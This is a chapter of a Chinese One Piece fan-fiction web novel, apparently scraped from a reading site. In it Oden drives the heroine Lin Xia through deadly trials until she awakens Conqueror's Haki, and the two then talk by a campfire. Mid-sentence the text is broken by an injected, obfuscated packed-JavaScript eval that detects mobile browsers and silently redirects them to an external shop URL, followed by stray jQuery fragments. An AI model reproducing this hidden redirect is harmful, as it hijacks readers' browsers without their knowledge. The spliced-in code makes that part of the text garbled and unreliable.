文趣网 > 其他小说 > [海贼王]伟大航路,借过 > 56.你怕什么
    ※一 ※

    最难的,是那头兽。

    霸王色。

    御田是某天夜里,忽然提起来的。两个人喝着酒,他冷不丁说:"丫头,你身上那头兽,得管管了。"

    林夏握着酒坛的手,顿了一下。"……什么兽。"

    "别装。"御田斜她一眼,"你那霸王色。"

    林夏沉默了。

    她身上那东西,她从没跟人提过。它不听她的。它只在她被逼到绝境、命悬一线的那一瞬,自己撞开门,轰一声炸出来,扫平四周,然后留下她一身虚脱。香波岛拍卖所那次,是它头一回炸;之后再没主动出来过。她唤不动它。

    "那玩意儿,野得很。"御田说,"不认你。"

    "……你怎么知道。"

    "看出来的。"御田咧嘴,"前儿我把你打急了那回,它在你身子里头,拱了一下,又缩回去了。像头关在笼子里的兽,撞了下栏杆,发现撞不开,又趴下了。"

    "它只在你快死的时候,自己出来。"他说,"对吧。"

    林夏点头。这是她头一回,把这件事说出口。

    "那就对了。"御田往地上一坐,"霸王色这东西,跟见闻色、武装色,不一样。"

    "那两样,是本事,能练。可霸王色——"他指了指自己胸口,"是这儿的东西。是气概。是你这个人,骨子里那股我就是要这样、天王老子也拦不住我的劲。"

    "它练不出来。"御田说,"它只能,跟着你这个人,一起长。"

    "你这个人的气概有多大,你那头兽,就有多大。"

    "你这个人,要是怂了、虚了、自己都不知道自己要什么——"他盯着她,"那头兽,凭什么认你当主子?"

    ※二 ※

    "所以你这几天,"御田站起身,把刀别回腰里,"别练剑了。"

    "那练什么。"

    "跟我,去干点疯事。"御田咧开嘴,那笑里有种要命的兴奋,"光在这河滩上比划,练不出气概。气概这东西,得在刀尖上、在鬼门关前头,逼出来。"

    接下来几天,御田带着林夏,在和之国,干了一连串,她这辈子都没干过的疯事。

    他带她,出海,故意把船开进和之国近海那片有名的、能掀翻大船的暴风海域。狂风巨浪里,御田站在船头,迎着风,放声大笑,笑得比那雷声还响。林夏死死攥着舵,以为自己要死了——可活下来那一刻,她发现自己,竟也在笑。

    他带她,去九里山里,挑战那种半人高、性情暴烈的猛兽群。两个人背靠背,在兽群里,杀了个痛快。

    每一次,都在鬼门关前头,走一遭。

    而每一次,御田都在问她话。

    不是教她招式。是问她。

    "丫头,你为什么变强?"暴风海上,他扯着嗓子吼。

    "……活下去。"林夏吼回去。

    "放屁!"御田大笑,"活下去,缩在家里也能活!你跑这么远,拼这么狠,就为了活下去?"

    林夏没答上来。

    "你到底,在怕什么?"猛兽堆里,他一边挥刀一边问。

    林夏答不上来。

    她从没认真想过这些。她只是一路往前,变强,再变强。她跟自己说,变强是为了活下去,为了护人,为了不再"看得见够不着"。

    可御田的问题,一次比一次,扎得深。

    你想要什么?

    你怕什么?

    ※三 ※

    那个答案,是在最后一场,逼出来的。

    御田带她去的最后一个地方,是和之国最凶险的一处断崖。崖下是终年不息的激流漩涡,传说掉下去的人,没一个活着上来。

    "跳。"御田说。

    林夏看着他。"……什么?"

    "跳下去。"御田指着那片要命的漩涡,理所当然,"游过去,游到对岸那块礁石,再游回来。"

    "那是送死。"

    "那你就别死。"御田咧嘴,"丫头,我陪你跳。咱俩一起。"

    "我告诉你个秘密——"他站在崖边,海风把他的头发吹得乱七八糟,"我这辈子,跳过比这凶十倍的地方。每一次跳之前,我都问自己一句话。"

    "问什么。"

    "问我自己,"御田望着崖下的漩涡,眼睛亮得吓人,"就算死,值不值。"

    "值,我就跳。我跳的时候,心里头那股我就是要过去、就算死也要过去的劲,顶到天上——那一下,我整个人,谁也压不住。"

    "那就是气概,丫头。"他转过头,看她,"是你心里那股非如此不可的劲。它压过了你怕死的劲——那头兽,才认你。"

    "现在,我问你——"

    御田的眼睛,直直地盯进她眼底。

    "你心里,有没有一件事,是你就算死,也非要做成不可的?"

    "有,你就跟我跳。"

    "没有——"他笑了笑,"那你这辈子,也就这样了。你那头兽,永远不认你。"

    林夏站在崖边。

    崖下是要命的漩涡。身边是个二十年后会死、此刻却笑得震天响的男人。

    御田的问题,在她脑子里,炸开。

    你就算死,也非要做成不可的事,是什么?

    ※四 ※

    林夏闭上眼。

    她铺开见闻色——这是她这些天养成的习惯,御田教她"听见万物之声",把那张网,撒到最大。

    她听见崖下漩涡的咆哮。听见海风。听见远处九里旧城的炊烟和人声。

    然后,她听见了更远的东西。

    她听见这座岛,在疼。

    那条被兵器工厂的废水染黑的河。那些喝着黑水、一茬一茬病死的村民。那个跪在路边、抱着死孩子不敢哭出声的老人。那座把一整座岛腌进恶里、腌了几百年的机器。

    她听见,这片土地上,二十年都没散尽的、无数人的呜咽。

    她还听见——更远,更远的海那头——

    香波岛拍卖所里,那声"谢谢主人"。东海那些跪着、不敢吭声的人。她这一路,从风车村,到现在,听见的所有的"疼"。

    还有,高坡上,那一炮。那个再也回不来的人的气息,"断"掉的那一声。

    那些声音,全涌进来。

    林夏忽然,睁开了眼。

    她知道答案了。

    "御田。"她说。

    "嗯?"

    "我就算死,"她一字一句,声音不大,却稳得像钉进了石头里,"也非要做成的事——"

    "我要变强。强到,我看得见的疼,我都够得着。强到,我想护的人,我都护得住。"

    "强到,有一天,我能亲手,把那台,让这座岛疼了几百年、让那么多人跪着、让那一炮,轰下去连个名字都不留的——"

    "那台机器,砸烂。"

    她转过头,看着御田,琥珀色的眼睛里,烧着一种他从没在她脸上见过的东西。

    "这件事,我就算死,也要做。"

    御田看着她,愣了一下。

    然后,他爆发出这辈子最痛快的一声大笑。

    "哈哈哈哈哈哈——!!好!!"他笑得震得崖石都在抖,"这才对!这才是你那双眼睛、那身本事,该用的地方!"

    "不是用来躲!不是用来活命!"

    "是用来,砸烂那个,该砸烂的世界!"

    他一把搂过林夏的肩膀,指着崖下那片要命的漩涡,大吼:

    "那还愣着干嘛?!"

    "跟我跳!!"

    ※五 ※

    两个人,一起,跳了下去。

    激流漩涡,瞬间把两个人卷进去,翻搅,撕扯,要把人拖进死亡的深处。

    可这一次,林夏没有怕。

    她心里那股"我非要做成不可"的劲,顶到了天上。她要变强,她要砸烂那台机器,她还有那么多想护的人、想做的事——她不能死在这儿,她绝不能死在这儿。

    那股"非如此不可"的意志,压过了一切。压过了漩涡,压过了恐惧,压过了她半辈子"一个人就够了"的退缩。

    就在那一刻——

    她身体最深处,那头蜷着的、暴烈的、从不认她的兽,睁开了眼。

    它没有像往常那样,失控地炸开。

    它顺着她那股"非如此不可"的意志,缓缓地,涌了上来。

    不是因为她快死了。

    是因为她,第一次,清清楚楚地,知道了自己是谁、要什么、就算死也要做成什么。

    那头兽,认了。

    它顺着她的意志,涌出来,缠在她周身——黑红色的,暴烈的,却又,温顺地,听她的。林夏借着这股霸王色,在那要命的漩涡里,硬生生,撕开一条路,朝着对岸那块礁石,游了过去。

    御田在她身边,放声大笑,陪着她,一起,劈波斩浪。

    两个人,游到了对岸。

    林夏趴在礁石上,大口喘气,浑身是水。

    她摊开手——指尖,还缠着那一缕,黑红色的、温顺伏着的霸王色。

    她试着,主动,唤了一下。

    它睁开眼,顺着她的意,涌出一丝,乖顺地,伏在她掌心。

    认她。

    【霸王色霸气……首次主动唤出。】系统的声音,有一种罕见的郑重,【一丝。但是,是你叫出来的。是它,认你了。】

    【因为你,第一次,知道了自己要什么。】

    林夏看着掌心那一缕属于她自己的、终于认了主的气概,久久,没有说话。

    御田在旁边,瘫着,喘着,咧着嘴。

    "成了。"他说,"它认你了。"

    "因为你,终于,不躲了。"

    ※六 ※

    那天夜里,两个人在礁石上,生了堆火,烤干衣服,喝最后一坛酒。

    火堆噼啪地响。两个人的衣服搭在石头上,滴着水。

    "丫头,"御田灌了口酒,忽然说,"老子看明白你了。"

    林夏拧着头发的手,停了一下。

    "你这一身本事,样样都是一个路数。"御田掰着指头,"见闻色屏蔽,把人藏没了。走路走成背景,把影子藏没了。招式不肯起名,把路数藏没了。今天那霸王色认了主,你头一件事是把它收得严严实实,把气概也藏没了。"

    他偏过头看她,火光在他眼里跳。

    "你不是怕人,丫头。你是怕被人,看上。"

    林夏没说话。

    火堆又响了一阵。久到御田以为她不会答了,她开了口。

    "我待过一个地方。"她说,声音平平的,像在讲别人的事,"在那儿,被看上,就是被收走。名字、脸、本事,都是摆在别人架子

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17730731|207963||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    上的东西。越好的,摆得越高,锁得越紧。"

    "我从那儿出来以后,就懂了一个理。"

    "旗子插下去,人就成了靶子。东西露出来,就成了藏品。"

    "所以我不插旗。"她说,"我借旗。借完就还,谁的账上,都没有我。"

    御田听完,没有像往常那样大笑。

    他盯着火,盯了一会儿,忽然说:"老子正相反。"

    "老子恨不得,全世界都看见老子。"他往后一仰,躺倒在礁石上,冲着满天星星张开手臂,"老子要开了这个国,要让和之国的人看见海,让海那头的人看见和之国。老子自己,也要敞敞亮亮地活,喝最烈的酒,打最痛快的架,爱谁就让全城都知道。"

    "藏着活,"他说,"是把自己,先关进了笼子。这国锁了几百年,老子最恨的就是锁。岛锁不得,人,更锁不得。"

    两个人,一个坐着,一个躺着,中间隔着一堆火。

    一个把自己藏成世界的盲点,一个把自己活成九里的太阳。

    "你那种活法,"林夏看着火,忽然说,"站在最明处的人,死得最快。"

    "你那种活法,"御田躺着,望着星星,"藏了一辈子的人,死的时候,连个哭坟的,都摸不着地方。"

    两句话都很重。两个人都没躲。

    火堆烧塌了一截,腾起一蓬火星。

    林夏看着那蓬火星,心里某个地方,轻轻抽了一下。

    她知道他那句,将来会怎么应验在他自己身上:一座无字的碑,一个不敢被刻下的名字,一群摸不着坟头、只能偷偷摆供品的人。

    她不知道的是,她自己那句,将来会怎么应验在她自己身上。

    "不过,丫头。"御田忽然坐起来。

    "嗯?"

    "老子看不上你的活法。"他咧嘴,"但老子看得上你这个人。"

    "明处一把火,暗处一把刀。"他想了想,难得说了句斟酌过的话,"烧的要是同一个东西,那就是一伙的。"

    林夏看了他两秒。

    "……嗯。"她说,"一伙的。"

    她这辈子,极少认这两个字。

    "哈哈哈哈,这就对了!"御田又活了过来,举坛子跟她碰了一下,灌了一大口,抹抹嘴,忽然又想起什么,眉飞色舞地宣布:

    "对了!等老子死了,墓碑给老子往大里修!名字刻头一行,要最大的字!底下刻生平,刻老子干过的架、出过的海、喝过的酒、爱过的人,刻它个三天三夜读不完!"

    "路过的人想不看都不行!"他理直气壮,"老子活要活在明处,死,也要死在明处!"

    他笑得震天响。

    林夏没接话。

    她低着头,往火堆里添了根柴。

    她见过他的墓碑。

    上头,一个字,都没有。

    "丫头,"御田望着火,忽然说,"你那个砸烂机器的念头,跟我,一样。"

    林夏侧头看他。

    "我也想。"御田灌了口酒,眼睛望着远方,那里是海,是他还没去过、却日思夜想的远方,"我想出海,把这世界走个遍。我想知道,这世界,凭什么是现在这个样子。凭什么有些人,生下来就高高在上,有些人,生下来就是泥。"

    "我总觉得,这世界,被什么东西,死死压着。压了很久很久。"他说,"我想去看看,那东西,到底是什么。我想……把它,掀开。"

    林夏静静听着。

    她知道御田口中那个"压着世界的东西"是什么。她知道御田真出了海,会跟着两个传奇,走到那片海的尽头,会知道那个被藏了八百年的秘密,会因为那个秘密,回到这座锁国的岛,会被背叛,会忍辱,会死。

    他现在,什么都不知道。

    他只知道,这世界被什么压着,而他,想去掀开。

    跟她一样。

    "御田。"林夏说。

    "嗯?"

    "你会去的。"她说,"你会出海,会走到那片海的尽头,会知道,那东西是什么。"

    御田一愣,随即大笑:"那可不!老子早晚——"

    "然后,"林夏看着火,轻声打断他,"你会想办法,把它,告诉所有人。"

    御田的笑,顿了一下。

    他看着这个忽然说话像个预言家似的姑娘,觉得有点奇怪,可那股奇怪里,又有种说不出的踏实。

    "……你这丫头,"他咧嘴,"说话怎么跟见过似的。"

    林夏没接话。

    她当然见过。她见过他的结局。她见过那块没有名字的墓碑。她见过这座城,烧成废墟。

    可她也见过——二十年后,这座岛上,还有人记着他。还有人,为了他想做的事,前赴后继。还有一个,叫大和的孩子,把他奉若神明,一心想活成他的样子。

    他想掀开的那个东西,他没掀开。

    可他点的那把火,没灭。

    "嗯。"林夏最后说,望着那片他日思夜想、却会要他命的大海,"我像见过似的。"

    "因为我信,你做得到。"

    她说的是真心话。

    哪怕她知道结局。

    哪怕她知道,他掀不开,他会死。

    可他点的那把火——

    会有人,替他,接着烧下去。

    她也是,其中一个。